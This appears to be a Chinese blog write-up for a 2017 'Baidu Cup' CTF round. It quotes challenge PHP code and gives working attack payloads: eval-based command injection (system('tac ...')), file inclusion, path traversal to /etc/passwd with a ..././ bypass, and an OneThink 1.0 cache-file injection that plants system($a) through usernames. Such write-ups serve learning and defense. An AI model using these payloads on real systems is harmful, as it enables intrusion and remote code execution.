0
点赞
收藏
分享

微信扫一扫

“百度杯”CTF比赛 2017 二月场 wp

南柯Taylor 2022-04-04 阅读 132

目录

爆破-1

爆破-2

爆破-3

include

 Zone

OneThink

misc 2 上古神器


爆破-1

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$$a ,可以实现变量覆盖,

hello传入GLOBALS全局变量,$$a可以实现查看全部变量

爆破-2

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

 变量配合var_dump好像可以直接rce了

 姿势很多了

hello=system('tac flag,php') 

hello=file('flag.php')

也可以直接

hello=hilight_file('flag.php')

hello=show_source('flag.php')

爆破-3

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

 代码审计

“百度杯”CTF比赛 2017 二月场--web 爆破-3 writeup_会下雪的晴天的博客-CSDN博客

说的也很清楚

  1. 设置变量nums为0;time为当前时间;whoami的值为:ea
  2. 120秒后结束回话
  3. 传入变量value的值
  4. 创建一个从 “a” 到 “z” 的数组$str_rand
  5. mt_rand()从0-25随机选取数字,整句话得到两个随机字母
  6. whoami需要等于value的前两位,并且value的md5值的第5为开始,长度为4的字符串==0
  7. 循环10次输出flag

md5直接那里直接用数组就可以绕过了

先传入ea,左上角会弹出新的随机字母,继续重复即可,手动的时间完全够

 

include

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

 使用伪协议, hackbar经常有问题,直接用burp就行

 

 

 Zone

“百度杯”CTF比赛 2017 二月场--Zone_FTOrange的博客-CSDN博客 

直接原页面抓包进,修改login=1,然后出现了

 这个页面继续抓包,修改login,响应头出现个location

 

跟着wp操作,尝试在这里访问系统目录 etc/passwd,用../穿越目录没出来,

禁用../的话用双写绕过..././ ,出来了

 wp又说查看nginx的配置,(因为这题大概是nginx的漏洞)

查找配位文件的位置为/etc/nginx/nginx.conf

 又是说最后一行包含了 sites-enabled/default  ,去访问这个

autoindex on 表示打开目录浏览功能,因此可以进行目录遍历了

直接访问/online-movies. ./

还有一个细节,通过robots.txt,知道flag在flag.php里

 

OneThink

OneThink1.0文件缓存漏洞分析及题目复现 - 安全客,安全资讯平台 

这个文章讲了这个漏洞  ,直接学着用就行

注册页面 以 %0a$a=$_GET[a];#   作为用户名注册,并抓包 ,换行符和注释符都能绕过些东西

抓包后,对%0a进行URL解码,可以看到换行效果

 

 然后放包,注册成功

接着注册用户名​​​​​​​ %0asystem($a);#   看的出来是要配合rce的,过程同上

然后在按照次序登录这两个用户,过程也跟注册一样,成功登录

 然后访问缓存页面 ,配合rce,这个a就是我们登录后的$a了

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls

 目录穿越

 

misc 2 上古神器

这个没遇到过,积累一波 ,就是根据密文找对应坐标的字母

这网站不错棋盘密码在线加密解密 - 千千秀字

 

 

其他两个misc好无聊,不写了

举报

相关推荐

0 条评论